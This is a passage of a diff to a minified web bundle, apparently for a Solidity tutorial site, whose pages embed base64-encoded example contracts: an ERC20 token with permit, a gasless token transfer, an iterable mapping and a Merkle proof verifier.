ICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdIC09IGFtb3VudDsKCiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYmFsYW5jZU9mW3RvXSArPSBhbW91bnQ7CiAgICAgICAgfQoKICAgICAgICBlbWl0IFRyYW5zZmVyKG1zZy5zZW5kZXIsIHRvLCBhbW91bnQpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIGZyb20sIGFkZHJlc3MgdG8sIHVpbnQyNTYgYW1vdW50KQogICAgICAgIHB1YmxpYwogICAgICAgIHZpcnR1YWwKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIHVpbnQyNTYgYWxsb3dlZCA9IGFsbG93YW5jZVtmcm9tXVttc2cuc2VuZGVyXTsgLy8gU2F2ZXMgZ2FzIGZvciBsaW1pdGVkIGFwcHJvdmFscy4KICAgICAgICBpZiAoYWxsb3dlZCAhPSB0eXBlKHVpbnQyNTYpLm1heCkgewogICAgICAgICAgICBhbGxvd2FuY2VbZnJvbV1bbXNnLnNlbmRlcl0gPSBhbGxvd2VkIC0gYW1vdW50OwogICAgICAgIH0KICAgICAgICBiYWxhbmNlT2ZbZnJvbV0gLT0gYW1vdW50OwoKICAgICAgICB1bmNoZWNrZWQgewogICAgICAgICAgICBiYWxhbmNlT2ZbdG9dICs9IGFtb3VudDsKICAgICAgICB9CgogICAgICAgIGVtaXQgVHJhbnNmZXIoZnJvbSwgdG8sIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gcGVybWl0KAogICAgICAgIGFkZHJlc3Mgb3duZXIsCiAgICAgICAgYWRkcmVzcyBzcGVuZGVyLAogICAgICAgIHVpbnQyNTYgdmFsdWUsCiAgICAgICAgdWludDI1NiBkZWFkbGluZSwKICAgICAgICB1aW50OCB2LAogICAgICAgIGJ5dGVzMzIgciwKICAgICAgICBieXRlczMyIHMKICAgICkgcHVibGljIHZpcnR1YWwgewogICAgICAgIHJlcXVpcmUoZGVhZGxpbmUgPj0gYmxvY2sudGltZXN0YW1wLCAiUEVSTUlUX0RFQURMSU5FX0VYUElSRUQiKTsKCiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYWRkcmVzcyByZWNvdmVyZWRBZGRyZXNzID0gZWNyZWNvdmVyKAogICAgICAgICAgICAgICAga2VjY2FrMjU2KAogICAgICAgICAgICAgICAgICAgIGFiaS5lbmNvZGVQYWNrZWQoCiAgICAgICAgICAgICAgICAgICAgICAgICJceDE5XHgwMSIsCiAgICAgICAgICAgICAgICAgICAgICAgIERPTUFJTl9TRVBBUkFUT1IoKSwKICAgICAgICAgICAgICAgICAgICAgICAga2VjY2FrMjU2KAogICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJpLmVuY29kZSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrZWNjYWsyNTYoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJQZXJtaXQoYWRkcmVzcyBvd25lcixhZGRyZXNzIHNwZW5kZXIsdWludDI1NiB2YWx1ZSx1aW50MjU2IG5vbmNlLHVpbnQyNTYgZGVhZGxpbmUpIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb3duZXIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3BlbmRlciwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBub25jZXNbb3duZXJdKyssCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGVhZGxpbmUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICksCiAgICAgICAgICAgICAgICB2LAogICAgICAgICAgICAgICAgciwKICAgICAgICAgICAgICAgIHMKICAgICAgICAgICAgKTsKCiAgICAgICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgICAgICByZWNvdmVyZWRBZGRyZXNzICE9IGFkZHJlc3MoMCkgJiYgcmVjb3ZlcmVkQWRkcmVzcyA9PSBvd25lciwKICAgICAgICAgICAgICAgICJJTlZBTElEX1NJR05FUiIKICAgICAgICAgICAgKTsKCiAgICAgICAgICAgIGFsbG93YW5jZVtyZWNvdmVyZWRBZGRyZXNzXVtzcGVuZGVyXSA9IHZhbHVlOwogICAgICAgIH0KCiAgICAgICAgZW1pdCBBcHByb3ZhbChvd25lciwgc3BlbmRlciwgdmFsdWUpOwogICAgfQoKICAgIGZ1bmN0aW9uIERPTUFJTl9TRVBBUkFUT1IoKSBwdWJsaWMgdmlldyB2aXJ0dWFsIHJldHVybnMgKGJ5dGVzMzIpIHsKICAgICAgICByZXR1cm4gYmxvY2suY2hhaW5pZCA9PSBJTklUSUFMX0NIQUlOX0lECiAgICAgICAgICAgID8gSU5JVElBTF9ET01BSU5fU0VQQVJBVE9SCiAgICAgICAgICAgIDogY29tcHV0ZURvbWFpblNlcGFyYXRvcigpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNvbXB1dGVEb21haW5TZXBhcmF0b3IoKSBpbnRlcm5hbCB2aWV3IHZpcnR1YWwgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIHJldHVybiBrZWNjYWsyNTYoCiAgICAgICAgICAgIGFiaS5lbmNvZGUoCiAgICAgICAgICAgICAgICBrZWNjYWsyNTYoCiAgICAgICAgICAgICAgICAgICAgIkVJUDcxMkRvbWFpbihzdHJpbmcgbmFtZSxzdHJpbmcgdmVyc2lvbix1aW50MjU2IGNoYWluSWQsYWRkcmVzcyB2ZXJpZnlpbmdDb250cmFjdCkiCiAgICAgICAgICAgICAgICApLAogICAgICAgICAgICAgICAga2VjY2FrMjU2KGJ5dGVzKG5hbWUpKSwKICAgICAgICAgICAgICAgIGtlY2NhazI1NigiMSIpLAogICAgICAgICAgICAgICAgYmxvY2suY2hhaW5pZCwKICAgICAgICAgICAgICAgIGFkZHJlc3ModGhpcykKICAgICAgICAgICAgKQogICAgICAgICk7CiAgICB9CgogICAgZnVuY3Rpb24gX21pbnQoYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpIGludGVybmFsIHZpcnR1YWwgewogICAgICAgIHRvdGFsU3VwcGx5ICs9IGFtb3VudDsKCiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYmFsYW5jZU9mW3RvXSArPSBhbW91bnQ7CiAgICAgICAgfQoKICAgICAgICBlbWl0IFRyYW5zZmVyKGFkZHJlc3MoMCksIHRvLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIF9idXJuKGFkZHJlc3MgZnJvbSwgdWludDI1NiBhbW91bnQpIGludGVybmFsIHZpcnR1YWwgewogICAgICAgIGJhbGFuY2VPZltmcm9tXSAtPSBhbW91bnQ7CgogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHRvdGFsU3VwcGx5IC09IGFtb3VudDsKICAgICAgICB9CgogICAgICAgIGVtaXQgVHJhbnNmZXIoZnJvbSwgYWRkcmVzcygwKSwgYW1vdW50KTsKICAgIH0KfQoKY29udHJhY3QgRVJDMjBQZXJtaXQgaXMgRVJDMjAgewogICAgY29uc3RydWN0b3Ioc3RyaW5nIG1lbW9yeSBfbmFtZSwgc3RyaW5nIG1lbW9yeSBfc3ltYm9sLCB1aW50OCBfZGVjaW1hbHMpCiAgICAgICAgRVJDMjAoX25hbWUsIF9zeW1ib2wsIF9kZWNpbWFscykKICAgIHt9CgogICAgZnVuY3Rpb24gbWludChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkgcHVibGljIHsKICAgICAgICBfbWludCh0bywgYW1vdW50KTsKICAgIH0KfQo="},{fileName:"GaslessTokenTransfer.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDMjBQZXJtaXQgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gcGVybWl0KAogICAgICAgIGFkZHJlc3Mgb3duZXIsCiAgICAgICAgYWRkcmVzcyBzcGVuZGVyLAogICAgICAgIHVpbnQyNTYgdmFsdWUsCiAgICAgICAgdWludDI1NiBkZWFkbGluZSwKICAgICAgICB1aW50OCB2LAogICAgICAgIGJ5dGVzMzIgciwKICAgICAgICBieXRlczMyIHMKICAgICkgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IEdhc2xlc3NUb2tlblRyYW5zZmVyIHsKICAgIGZ1bmN0aW9uIHNlbmQoCiAgICAgICAgYWRkcmVzcyB0b2tlbiwKICAgICAgICBhZGRyZXNzIHNlbmRlciwKICAgICAgICBhZGRyZXNzIHJlY2VpdmVyLAogICAgICAgIHVpbnQyNTYgYW1vdW50LAogICAgICAgIHVpbnQyNTYgZmVlLAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUsCiAgICAgICAgLy8gUGVybWl0IHNpZ25hdHVyZQogICAgICAgIHVpbnQ4IHYsCiAgICAgICAgYnl0ZXMzMiByLAogICAgICAgIGJ5dGVzMzIgcwogICAgKSBleHRlcm5hbCB7CiAgICAgICAgLy8gUGVybWl0CiAgICAgICAgSUVSQzIwUGVybWl0KHRva2VuKS5wZXJtaXQoCiAgICAgICAgICAgIHNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50ICsgZmVlLCBkZWFkbGluZSwgdiwgciwgcwogICAgICAgICk7CiAgICAgICAgLy8gU2VuZCBhbW91bnQgdG8gcmVjZWl2ZXIKICAgICAgICBJRVJDMjBQZXJtaXQodG9rZW4pLnRyYW5zZmVyRnJvbShzZW5kZXIsIHJlY2VpdmVyLCBhbW91bnQpOwogICAgICAgIC8vIFRha2UgZmVlIC0gc2VuZCBmZWUgdG8gbXNnLnNlbmRlcgogICAgICAgIElFUkMyMFBlcm1pdCh0b2tlbikudHJhbnNmZXJGcm9tKHNlbmRlciwgbXNnLnNlbmRlciwgZmVlKTsKICAgIH0KfQo="}],hu=`

            Gasless ERC20 token transfer with Meta transaction

            // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -1886,7 +1886,7 @@ How to swap tokens
         _mint(to, amount);
     }
 }
-
            `,hu=({prev:s,next:a})=>r.jsx(u,{version:tu,title:ou,description:ru,html:gu,prev:s,next:a,codes:iu}),du="0.8.24",Iu="Iterable Mapping",Cu="Iterable Mapping in Solidity",ju=[{fileName:"IterableMapping.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmxpYnJhcnkgSXRlcmFibGVNYXBwaW5nIHsKICAgIC8vIEl0ZXJhYmxlIG1hcHBpbmcgZnJvbSBhZGRyZXNzIHRvIHVpbnQ7CiAgICBzdHJ1Y3QgTWFwIHsKICAgICAgICBhZGRyZXNzW10ga2V5czsKICAgICAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgdmFsdWVzOwogICAgICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBpbmRleE9mOwogICAgICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBib29sKSBpbnNlcnRlZDsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXQoTWFwIHN0b3JhZ2UgbWFwLCBhZGRyZXNzIGtleSkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBtYXAudmFsdWVzW2tleV07CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0S2V5QXRJbmRleChNYXAgc3RvcmFnZSBtYXAsIHVpbnQyNTYgaW5kZXgpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGFkZHJlc3MpCiAgICB7CiAgICAgICAgcmV0dXJuIG1hcC5rZXlzW2luZGV4XTsKICAgIH0KCiAgICBmdW5jdGlvbiBzaXplKE1hcCBzdG9yYWdlIG1hcCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBtYXAua2V5cy5sZW5ndGg7CiAgICB9CgogICAgZnVuY3Rpb24gc2V0KE1hcCBzdG9yYWdlIG1hcCwgYWRkcmVzcyBrZXksIHVpbnQyNTYgdmFsKSBwdWJsaWMgewogICAgICAgIGlmIChtYXAuaW5zZXJ0ZWRba2V5XSkgewogICAgICAgICAgICBtYXAudmFsdWVzW2tleV0gPSB2YWw7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgbWFwLmluc2VydGVkW2tleV0gPSB0cnVlOwogICAgICAgICAgICBtYXAudmFsdWVzW2tleV0gPSB2YWw7CiAgICAgICAgICAgIG1hcC5pbmRleE9mW2tleV0gPSBtYXAua2V5cy5sZW5ndGg7CiAgICAgICAgICAgIG1hcC5rZXlzLnB1c2goa2V5KTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gcmVtb3ZlKE1hcCBzdG9yYWdlIG1hcCwgYWRkcmVzcyBrZXkpIHB1YmxpYyB7CiAgICAgICAgaWYgKCFtYXAuaW5zZXJ0ZWRba2V5XSkgewogICAgICAgICAgICByZXR1cm47CiAgICAgICAgfQoKICAgICAgICBkZWxldGUgbWFwLmluc2VydGVkW2tleV07CiAgICAgICAgZGVsZXRlIG1hcC52YWx1ZXNba2V5XTsKCiAgICAgICAgdWludDI1NiBpbmRleCA9IG1hcC5pbmRleE9mW2tleV07CiAgICAgICAgYWRkcmVzcyBsYXN0S2V5ID0gbWFwLmtleXNbbWFwLmtleXMubGVuZ3RoIC0gMV07CgogICAgICAgIG1hcC5pbmRleE9mW2xhc3RLZXldID0gaW5kZXg7CiAgICAgICAgZGVsZXRlIG1hcC5pbmRleE9mW2tleV07CgogICAgICAgIG1hcC5rZXlzW2luZGV4XSA9IGxhc3RLZXk7CiAgICAgICAgbWFwLmtleXMucG9wKCk7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RJdGVyYWJsZU1hcCB7CiAgICB1c2luZyBJdGVyYWJsZU1hcHBpbmcgZm9yIEl0ZXJhYmxlTWFwcGluZy5NYXA7CgogICAgSXRlcmFibGVNYXBwaW5nLk1hcCBwcml2YXRlIG1hcDsKCiAgICBmdW5jdGlvbiB0ZXN0SXRlcmFibGVNYXAoKSBwdWJsaWMgewogICAgICAgIG1hcC5zZXQoYWRkcmVzcygwKSwgMCk7CiAgICAgICAgbWFwLnNldChhZGRyZXNzKDEpLCAxMDApOwogICAgICAgIG1hcC5zZXQoYWRkcmVzcygyKSwgMjAwKTsgLy8gaW5zZXJ0CiAgICAgICAgbWFwLnNldChhZGRyZXNzKDIpLCAyMDApOyAvLyB1cGRhdGUKICAgICAgICBtYXAuc2V0KGFkZHJlc3MoMyksIDMwMCk7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IG1hcC5zaXplKCk7IGkrKykgewogICAgICAgICAgICBhZGRyZXNzIGtleSA9IG1hcC5nZXRLZXlBdEluZGV4KGkpOwogICAgICAgICAgICBhc3NlcnQobWFwLmdldChrZXkpID09IGkgKiAxMDApOwogICAgICAgIH0KCiAgICAgICAgbWFwLnJlbW92ZShhZGRyZXNzKDEpKTsKCiAgICAgICAgLy8ga2V5cyA9IFthZGRyZXNzKDApLCBhZGRyZXNzKDMpLCBhZGRyZXNzKDIpXQogICAgICAgIGFzc2VydChtYXAuc2l6ZSgpID09IDMpOwogICAgICAgIGFzc2VydChtYXAuZ2V0S2V5QXRJbmRleCgwKSA9PSBhZGRyZXNzKDApKTsKICAgICAgICBhc3NlcnQobWFwLmdldEtleUF0SW5kZXgoMSkgPT0gYWRkcmVzcygzKSk7CiAgICAgICAgYXNzZXJ0KG1hcC5nZXRLZXlBdEluZGV4KDIpID09IGFkZHJlc3MoMikpOwogICAgfQp9Cg=="}],uu=`

            You cannot iterate through a mapping. So here is an example of how to create an iterable mapping.

            +`,Iu=({prev:s,next:a})=>r.jsx(u,{version:ou,title:ru,description:iu,html:hu,prev:s,next:a,codes:gu}),du="0.8.24",Cu="Iterable Mapping",ju="Iterable Mapping in Solidity",uu=[{fileName:"IterableMapping.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmxpYnJhcnkgSXRlcmFibGVNYXBwaW5nIHsKICAgIC8vIEl0ZXJhYmxlIG1hcHBpbmcgZnJvbSBhZGRyZXNzIHRvIHVpbnQ7CiAgICBzdHJ1Y3QgTWFwIHsKICAgICAgICBhZGRyZXNzW10ga2V5czsKICAgICAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgdmFsdWVzOwogICAgICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBpbmRleE9mOwogICAgICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBib29sKSBpbnNlcnRlZDsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXQoTWFwIHN0b3JhZ2UgbWFwLCBhZGRyZXNzIGtleSkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBtYXAudmFsdWVzW2tleV07CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0S2V5QXRJbmRleChNYXAgc3RvcmFnZSBtYXAsIHVpbnQyNTYgaW5kZXgpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGFkZHJlc3MpCiAgICB7CiAgICAgICAgcmV0dXJuIG1hcC5rZXlzW2luZGV4XTsKICAgIH0KCiAgICBmdW5jdGlvbiBzaXplKE1hcCBzdG9yYWdlIG1hcCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBtYXAua2V5cy5sZW5ndGg7CiAgICB9CgogICAgZnVuY3Rpb24gc2V0KE1hcCBzdG9yYWdlIG1hcCwgYWRkcmVzcyBrZXksIHVpbnQyNTYgdmFsKSBwdWJsaWMgewogICAgICAgIGlmIChtYXAuaW5zZXJ0ZWRba2V5XSkgewogICAgICAgICAgICBtYXAudmFsdWVzW2tleV0gPSB2YWw7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgbWFwLmluc2VydGVkW2tleV0gPSB0cnVlOwogICAgICAgICAgICBtYXAudmFsdWVzW2tleV0gPSB2YWw7CiAgICAgICAgICAgIG1hcC5pbmRleE9mW2tleV0gPSBtYXAua2V5cy5sZW5ndGg7CiAgICAgICAgICAgIG1hcC5rZXlzLnB1c2goa2V5KTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gcmVtb3ZlKE1hcCBzdG9yYWdlIG1hcCwgYWRkcmVzcyBrZXkpIHB1YmxpYyB7CiAgICAgICAgaWYgKCFtYXAuaW5zZXJ0ZWRba2V5XSkgewogICAgICAgICAgICByZXR1cm47CiAgICAgICAgfQoKICAgICAgICBkZWxldGUgbWFwLmluc2VydGVkW2tleV07CiAgICAgICAgZGVsZXRlIG1hcC52YWx1ZXNba2V5XTsKCiAgICAgICAgdWludDI1NiBpbmRleCA9IG1hcC5pbmRleE9mW2tleV07CiAgICAgICAgYWRkcmVzcyBsYXN0S2V5ID0gbWFwLmtleXNbbWFwLmtleXMubGVuZ3RoIC0gMV07CgogICAgICAgIG1hcC5pbmRleE9mW2xhc3RLZXldID0gaW5kZXg7CiAgICAgICAgZGVsZXRlIG1hcC5pbmRleE9mW2tleV07CgogICAgICAgIG1hcC5rZXlzW2luZGV4XSA9IGxhc3RLZXk7CiAgICAgICAgbWFwLmtleXMucG9wKCk7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RJdGVyYWJsZU1hcCB7CiAgICB1c2luZyBJdGVyYWJsZU1hcHBpbmcgZm9yIEl0ZXJhYmxlTWFwcGluZy5NYXA7CgogICAgSXRlcmFibGVNYXBwaW5nLk1hcCBwcml2YXRlIG1hcDsKCiAgICBmdW5jdGlvbiB0ZXN0SXRlcmFibGVNYXAoKSBwdWJsaWMgewogICAgICAgIG1hcC5zZXQoYWRkcmVzcygwKSwgMCk7CiAgICAgICAgbWFwLnNldChhZGRyZXNzKDEpLCAxMDApOwogICAgICAgIG1hcC5zZXQoYWRkcmVzcygyKSwgMjAwKTsgLy8gaW5zZXJ0CiAgICAgICAgbWFwLnNldChhZGRyZXNzKDIpLCAyMDApOyAvLyB1cGRhdGUKICAgICAgICBtYXAuc2V0KGFkZHJlc3MoMyksIDMwMCk7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IG1hcC5zaXplKCk7IGkrKykgewogICAgICAgICAgICBhZGRyZXNzIGtleSA9IG1hcC5nZXRLZXlBdEluZGV4KGkpOwogICAgICAgICAgICBhc3NlcnQobWFwLmdldChrZXkpID09IGkgKiAxMDApOwogICAgICAgIH0KCiAgICAgICAgbWFwLnJlbW92ZShhZGRyZXNzKDEpKTsKCiAgICAgICAgLy8ga2V5cyA9IFthZGRyZXNzKDApLCBhZGRyZXNzKDMpLCBhZGRyZXNzKDIpXQogICAgICAgIGFzc2VydChtYXAuc2l6ZSgpID09IDMpOwogICAgICAgIGFzc2VydChtYXAuZ2V0S2V5QXRJbmRleCgwKSA9PSBhZGRyZXNzKDApKTsKICAgICAgICBhc3NlcnQobWFwLmdldEtleUF0SW5kZXgoMSkgPT0gYWRkcmVzcygzKSk7CiAgICAgICAgYXNzZXJ0KG1hcC5nZXRLZXlBdEluZGV4KDIpID09IGFkZHJlc3MoMikpOwogICAgfQp9Cg=="}],Au=`

            You cannot iterate through a mapping. So here is an example of how to create an iterable mapping.

            // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -1971,7 +1971,7 @@ How to swap tokens
         assert(map.getKeyAtIndex(2) == address(2));
     }
 }
-
            `,yu=({prev:s,next:a})=>r.jsx(u,{version:du,title:Iu,description:Cu,html:uu,prev:s,next:a,codes:ju}),Au="0.8.24",mu="Merkle Tree",bu="Learn about Merkle tree in Solidity",wu=[{fileName:"MerkleTree.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE1lcmtsZVByb29mIHsKICAgIGZ1bmN0aW9uIHZlcmlmeSgKICAgICAgICBieXRlczMyW10gbWVtb3J5IHByb29mLAogICAgICAgIGJ5dGVzMzIgcm9vdCwKICAgICAgICBieXRlczMyIGxlYWYsCiAgICAgICAgdWludDI1NiBpbmRleAogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zIChib29sKSB7CiAgICAgICAgYnl0ZXMzMiBoYXNoID0gbGVhZjsKCiAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgcHJvb2YubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgYnl0ZXMzMiBwcm9vZkVsZW1lbnQgPSBwcm9vZltpXTsKCiAgICAgICAgICAgIGlmIChpbmRleCAlIDIgPT0gMCkgewogICAgICAgICAgICAgICAgaGFzaCA9IGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKGhhc2gsIHByb29mRWxlbWVudCkpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgaGFzaCA9IGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKHByb29mRWxlbWVudCwgaGFzaCkpOwogICAgICAgICAgICB9CgogICAgICAgICAgICBpbmRleCA9IGluZGV4IC8gMjsKICAgICAgICB9CgogICAgICAgIHJldHVybiBoYXNoID09IHJvb3Q7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RNZXJrbGVQcm9vZiBpcyBNZXJrbGVQcm9vZiB7CiAgICBieXRlczMyW10gcHVibGljIGhhc2hlczsKCiAgICBjb25zdHJ1Y3RvcigpIHsKICAgICAgICBzdHJpbmdbNF0gbWVtb3J5IHRyYW5zYWN0aW9ucyA9CiAgICAgICAgICAgIFsiYWxpY2UgLT4gYm9iIiwgImJvYiAtPiBkYXZlIiwgImNhcm9sIC0+IGFsaWNlIiwgImRhdmUgLT4gYm9iIl07CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IHRyYW5zYWN0aW9ucy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBoYXNoZXMucHVzaChrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZCh0cmFuc2FjdGlvbnNbaV0pKSk7CiAgICAgICAgfQoKICAgICAgICB1aW50MjU2IG4gPSB0cmFuc2FjdGlvbnMubGVuZ3RoOwogICAgICAgIHVpbnQyNTYgb2Zmc2V0ID0gMDsKCiAgICAgICAgd2hpbGUgKG4gPiAwKSB7CiAgICAgICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IG4gLSAxOyBpICs9IDIpIHsKICAgICAgICAgICAgICAgIGhhc2hlcy5wdXNoKAogICAgICAgICAgICAgICAgICAgIGtlY2NhazI1NigKICAgICAgICAgICAgICAgICAgICAgICAgYWJpLmVuY29kZVBhY2tlZCgKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhhc2hlc1tvZmZzZXQgKyBpXSwgaGFzaGVzW29mZnNldCArIGkgKyAxXQogICAgICAgICAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBvZmZzZXQgKz0gbjsKICAgICAgICAgICAgbiA9IG4gLyAyOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBnZXRSb290KCkgcHVibGljIHZpZXcgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIHJldHVybiBoYXNoZXNbaGFzaGVzLmxlbmd0aCAtIDFdOwogICAgfQoKICAgIC8qIHZlcmlmeQogICAgM3JkIGxlYWYKICAgIDB4ZGNhMzMyNmFkN2U4MTIxYmY5Y2Y5YzEyMzMzZTZiMjI3MWFiZTgyM2VjOWVkZmU0MmY4MTNiMWU3NjhmYTU3YgoKICAgIHJvb3QKICAgIDB4Y2MwODZmY2MwMzgxODliNDY0MWRiMmNjNGYxZGUzYmIxMzJhZWZiZDY1ZDUxMGQ4MTc1OTE1NTA5Mzc4MThjNwoKICAgIGluZGV4CiAgICAyCgogICAgcHJvb2YKICAgIDB4OGRhOWUxYzgyMGY5ZGJkMTU4OWZkNjU4NTg3MmJjMTA2MzU4ODYyNTcyOWU3YWIwNzk3Y2ZjNjNhMDBiZDk1MAogICAgMHg5OTU3ODhmZmMxMDNiOTg3YWQ1MGY1ZTU3MDdmZDA5NDQxOWViMTJkOTU1MmNjNDIzYmQwY2Q4NmEzODYxNDMzCiAgICAqLwp9Cg=="}],ku=`

            Merkle tree allows you to cryptographically prove that an element is contained

            +`,yu=({prev:s,next:a})=>r.jsx(u,{version:du,title:Cu,description:ju,html:Au,prev:s,next:a,codes:uu}),mu="0.8.24",bu="Merkle Tree",wu="Learn about Merkle tree in Solidity",ku=[{fileName:"MerkleTree.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE1lcmtsZVByb29mIHsKICAgIGZ1bmN0aW9uIHZlcmlmeSgKICAgICAgICBieXRlczMyW10gbWVtb3J5IHByb29mLAogICAgICAgIGJ5dGVzMzIgcm9vdCwKICAgICAgICBieXRlczMyIGxlYWYsCiAgICAgICAgdWludDI1NiBpbmRleAogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zIChib29sKSB7CiAgICAgICAgYnl0ZXMzMiBoYXNoID0gbGVhZjsKCiAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgcHJvb2YubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgYnl0ZXMzMiBwcm9vZkVsZW1lbnQgPSBwcm9vZltpXTsKCiAgICAgICAgICAgIGlmIChpbmRleCAlIDIgPT0gMCkgewogICAgICAgICAgICAgICAgaGFzaCA9IGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKGhhc2gsI